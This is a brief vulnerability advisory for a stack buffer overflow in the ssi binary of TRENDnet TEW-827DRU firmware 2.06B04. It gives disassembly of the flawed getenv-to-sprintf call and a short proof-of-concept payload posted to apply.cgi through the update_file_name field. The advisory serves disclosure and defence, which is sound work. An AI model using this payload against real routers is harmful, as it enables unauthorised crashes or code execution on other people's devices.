TEW-827DRU

Firmware version

```
TEW-827DRU firmware: 2.06B04
```

Description

```
TRENDnet TEW-827DRU with firmware up to and including 2.06B04 contains a stack-
based buffer overflow in the ssi binary. The overflow allows an authenticated
user to execute arbitrary code by POSTing to apply.cgi via the action auto_up_fw
with a sufficiently long key 'update_file_name'.
```

Detial

```
The bug in function: 0x441708, binary: www/cgi/ssi
The parameter 'update_file_name' pass to sprintf
```

```
004417A8                addiu   $s0, $v0, (aTmpS - 0x4D0000)  # "/tmp/%s"
004417AC                la      $v0, off_4D0000
004417B0                nop
004417B4                addiu   $a0, $v0, (aUpdateFileName - 0x4D0000)  # "update_file_name"
004417B8                la      $v0, getenv
004417BC                nop
004417C0                move    $t9, $v0
004417C4                jalr    $t9 ; getenv
004417C8                nop
004417CC                lw      $gp, 0xB0+var_A0($fp)
004417D0                addiu   $v1, $fp, 0xB0+var_94
004417D4                move    $a0, $v1          # s
004417D8                move    $a1, $s0          # format
004417DC                move    $a2, $v0
004417E0                la      $v0, sprintf
004417E4                nop
004417E8                move    $t9, $v0
004417EC                jalr    $t9 ; sprintf
```

Send Packege

```
    payload = 'A'*0x100
    data = {
        b'action': b'auto_up_fw',
        b'update_file_name': payload,
    }
```